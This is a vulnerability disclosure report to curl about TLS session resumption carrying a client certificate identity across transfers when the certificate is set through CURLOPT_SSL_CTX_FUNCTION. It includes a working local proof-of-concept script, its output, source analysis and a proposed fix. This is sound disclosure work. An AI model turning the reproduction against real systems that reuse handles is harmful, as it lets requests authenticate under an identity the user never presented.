curl · Report #4016541
TLS session resumption client cert bypass with CURLOPT_SSL_CTX_FUNCTION
How it was found
AI use
Cipher, by Causal Security, was used to find, exploit and confirm this issue. A further check was carried out to establish, as far as is possible from outside the project, that it is neither a duplicate of an existing report or advisory nor documented as intended behaviour.
Everything below was produced by running the script in this report against a build of the released 8.22.0 tarball.
Summary
CURLOPT_SSL_CTX_FUNCTION's man page prescribes CURLOPT_FORBID_REUSE as the remedy for callback
state leaking between transfers. That remedy does not work. The run below sets it, and
CURLOPT_FRESH_CONNECT as well, on both transfers, and the leak happens anyway.
What leaks is a client certificate identity. A TLS session established while a client certificate was installed by the callback is cached under a key that cannot describe that identity, so a later transfer on the same handle, with no callback set at all, resumes that session and authenticates to the server as the first transfer's client identity.
The remedy fails because the documentation only ever describes the connection pool, and the carrier
here is the TLS session cache. CURLINFO_NUM_CONNECTS confirms transfer 2 used a brand new
connection.
The bug
The session cache key is built by ssl_peer_key_build() at lib/vtls/vtls_scache.c:228. Its first
parameter is everything it can see:
static CURLcode ssl_peer_key_build(struct ssl_primary_config *ssl,
const struct ssl_peer *peer,
const char *tls_id,
char **ppeer_key)
Identity-bearing fields inside struct ssl_primary_config do contribute to the key: a client
certificate path contributes :CCERT-, a blob contributes :CertBlob-, the type contributes :CT-.
The callback is not in that struct. lib/vtls/vtls_config.h:
struct ssl_primary_config { /* line 32 */
...
BIT(native_ca_store); /* line 57 */
BIT(cache_session);
BIT(deep_copy);
};
struct ssl_config_data { /* line 62 */
struct ssl_primary_config primary;
...
curl_ssl_ctx_callback fsslctx; /* line 65, outside primary */
void *fsslctxp; /* line 66, outside primary */
};
So a client certificate installed through the callback is structurally incapable of entering the session key. Two transfers with different client identities produce byte-identical keys, and the second resumes the first's session.
Reproduce
Self-contained: no privileged ports, no external host, no attachment. One script, run in an empty directory, given a curl build directory and the curl source include directory.
# Self-contained. No privileged ports, no external host, no attachment.
# $1 = a curl build directory (expects $1/lib/.libs/libcurl.so and $1/include)
# $2 = the curl source include directory
BUILD=$1; SRCINC=$2
set -e
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.pem -days 2 \
-subj "/CN=Test CA" 2>/dev/null
openssl req -newkey rsa:2048 -nodes -keyout s.key -out s.csr -subj "/CN=api.test" 2>/dev/null
printf 'subjectAltName=DNS:api.test\nextendedKeyUsage=serverAuth\n' > s.cnf
openssl x509 -req -in s.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out s.crt \
-days 2 -extfile s.cnf 2>/dev/null
cat s.crt s.key > srv.pem
openssl req -newkey rsa:2048 -nodes -keyout alice.key -out alice.csr \
-subj "/CN=alice" 2>/dev/null
printf 'extendedKeyUsage=clientAuth\n' > c.cnf
openssl x509 -req -in alice.csr -CA ca.pem -CAkey ca.key -CAcreateserial \
-out alice.crt -days 2 -extfile c.cnf 2>/dev/null
cat > srv.py <<'PY'
import socket, ssl, threading
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("srv.pem")
ctx.load_verify_locations("ca.pem")
ctx.verify_mode = ssl.CERT_OPTIONAL # ask for a client cert, do not require one
def handle(c):
try: c = ctx.wrap_socket(c, server_side=True)
except Exception as e:
print(" handshake failed: %s" % e, flush=True); return
peer = c.getpeercert()
who = "NO-CLIENT-CERT"
if peer:
who = dict(x[0] for x in peer["subject"]).get("commonName", "?")
print(" server sees: client-identity=%-14s session_reused=%s"
% (who, c.session_reused), flush=True)
try:
c.recv(4096)
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n")
except Exception: pass
try: c.close()
except Exception: pass
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 9443)); s.listen(5)
print("READY", flush=True)
while True:
c, _ = s.accept(); threading.Thread(target=handle, args=(c,), daemon=True).start()
PY
cat > prog.c <<'C'
/* One easy handle reused across transfers, which is how libcurl is meant to be used. */
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include <openssl/ssl.h>
static size_t sink(void *p, size_t s, size_t n, void *u){ (void)p;(void)u; return s*n; }
static CURLcode install_alice(CURL *c, void *sslctx, void *parm)
{
SSL_CTX *ctx = (SSL_CTX *)sslctx; (void)c; (void)parm;
if(SSL_CTX_use_certificate_file(ctx, "alice.crt", SSL_FILETYPE_PEM) != 1) return CURLE_ABORTED_BY_CALLBACK;
if(SSL_CTX_use_PrivateKey_file(ctx, "alice.key", SSL_FILETYPE_PEM) != 1) return CURLE_ABORTED_BY_CALLBACK;
return CURLE_OK;
}
int main(int argc, char **argv)
{
int nocache = (argc > 1 && !strcmp(argv[1], "nocache"));
long nconn = 0;
CURL *c = curl_easy_init();
struct curl_slist *r = curl_slist_append(NULL, "api.test:9443:127.0.0.1");
curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, sink);
curl_easy_setopt(c, CURLOPT_CAINFO, "ca.pem");
curl_easy_setopt(c, CURLOPT_RESOLVE, r);
curl_easy_setopt(c, CURLOPT_URL, "https://api.test:9443/");
/* the remedy CURLOPT_SSL_CTX_FUNCTION's man page prescribes, set on BOTH transfers */
curl_easy_setopt(c, CURLOPT_FORBID_REUSE, 1L);
curl_easy_setopt(c, CURLOPT_FRESH_CONNECT, 1L);
if(nocache) {
curl_easy_setopt(c, CURLOPT_SSL_SESSIONID_CACHE, 0L);
printf(" [CONTROL] CURLOPT_SSL_SESSIONID_CACHE = 0\n");
}
printf(" transfer 1: SSL_CTX callback installs alice's client certificate\n");
curl_easy_setopt(c, CURLOPT_SSL_CTX_FUNCTION, install_alice);
printf(" curl: %s\n", curl_easy_strerror(curl_easy_perform(c)));
printf(" transfer 2: no callback at all, same handle\n");
curl_easy_setopt(c, CURLOPT_SSL_CTX_FUNCTION, NULL);
printf(" curl: %s\n", curl_easy_strerror(curl_easy_perform(c)));
curl_easy_getinfo(c, CURLINFO_NUM_CONNECTS, &nconn);
printf(" CURLINFO_NUM_CONNECTS for transfer 2: %ld (a brand new connection)\n", nconn);
curl_slist_free_all(r); curl_easy_cleanup(c);
return 0;
}
C
gcc -o prog prog.c -I$SRCINC -I$BUILD/include $BUILD/lib/.libs/libcurl.so \
-lssl -lcrypto -Wl,-rpath,$BUILD/lib/.libs
run(){ rm -f srv.log; python3 srv.py > srv.log 2>&1 & SRV=$!
for i in $(seq 40); do grep -q READY srv.log 2>/dev/null && break; sleep .1; done
./prog $1; sleep .3; grep -v READY srv.log
kill $SRV 2>/dev/null; wait $SRV 2>/dev/null || true; }
echo "### $($BUILD/src/curl --version | head -1)"
echo
echo "########## default ##########"
run
echo
echo "########## control: CURLOPT_SSL_SESSIONID_CACHE = 0 ##########"
run nocache
Output
### curl 8.22.0 (aarch64-unknown-linux-gnu) libcurl/8.22.0 OpenSSL/3.5.7 zlib/1.2.11 libidn2/2.3.2 nghttp2/1.59.0 OpenLDAP/2.4.57
########## default ##########
transfer 1: SSL_CTX callback installs alice's client certificate
curl: No error
transfer 2: no callback at all, same handle
curl: No error
CURLINFO_NUM_CONNECTS for transfer 2: 1 (a brand new connection)
server sees: client-identity=alice session_reused=False
server sees: client-identity=alice session_reused=True
########## control: CURLOPT_SSL_SESSIONID_CACHE = 0 ##########
[CONTROL] CURLOPT_SSL_SESSIONID_CACHE = 0
transfer 1: SSL_CTX callback installs alice's client certificate
curl: No error
transfer 2: no callback at all, same handle
curl: No error
CURLINFO_NUM_CONNECTS for transfer 2: 1 (a brand new connection)
server sees: client-identity=alice session_reused=False
server sees: client-identity=NO-CLIENT-CERT session_reused=False
The second block is the control. One option changes, CURLOPT_SSL_SESSIONID_CACHE = 0, and transfer
2 becomes NO-CLIENT-CERT. That identifies the session cache as the carrier. The connection pool was
already excluded by CURLOPT_FORBID_REUSE, CURLOPT_FRESH_CONNECT and CURLINFO_NUM_CONNECTS
reporting a new connection.
Prior work
Commit 7be1e70cb6 (2026-08-25), a week before 8.22.0:
vtls: move 'native_ca_store' ssl_config_data => ssl_primary_config
And include it as key for connection reuse matching.
That shipped as CVE-2026-80231 (Low). native_ca_store is at line 57 and fsslctx at line 65 of the
same struct in the same file. curl moved one field in and issued an advisory for having left it out.
The field that installs a client certificate was not moved.
curl has also published this exact outcome twice, both High: CVE-2016-5419 and CVE-2017-7468, both
"TLS session resumption client cert bypass". Those concerned the certificate set through
CURLOPT_SSLCERT. This is the same outcome reached through the callback, which is the one route that
cannot enter the session key.
lib/vtls/vtls_scache.c has not been modified since 8.22.0 was released. On master fsslctx was
moved again by 19eec5f639 "ssl: dedup ssl_fsslctx" (2026-09-08), from ssl_config_data into
urldata.h. That commit is a deduplication, does not touch the session cache key, and leaves the
callback outside ssl_primary_config, so this still applies.
Severity
Medium. curl graded the same outcome High in CVE-2016-5419 and CVE-2017-7468, but those affected the
ordinary CURLOPT_SSLCERT path. Reaching it through the callback is a narrower population.
Fix
Make the callback part of the session cache key. Either move fsslctx and fsslctxp into
struct ssl_primary_config, the way native_ca_store was moved in 7be1e70cb6, so
ssl_peer_key_build() can include them, or do not cache a session at all when a
CURLOPT_SSL_CTX_FUNCTION callback was in effect for the handshake.
Including the two pointers in the key separates two different callbacks, but it will not separate one callback that installs different certificates on different calls. Not caching sessions established under a callback is the conservative option and the only one correct in that case.
Whichever is chosen, CURLOPT_SSL_CTX_FUNCTION.md should say that CURLOPT_FORBID_REUSE does not
cover TLS session resumption, because that is what a reader takes from it today.
Impact
Impact
An application that uses one easy handle for more than one purpose gets requests authenticated with a client identity they never presented. A request meant to be anonymous, or to run as a different principal, reaches the server carrying the earlier transfer's verified certificate identity. The server cannot tell: from its side this is a properly resumed session with an authenticated client.
Reusing an easy handle across transfers is how libcurl is meant to be used, and installing a client
certificate from CURLOPT_SSL_CTX_FUNCTION is a supported pattern.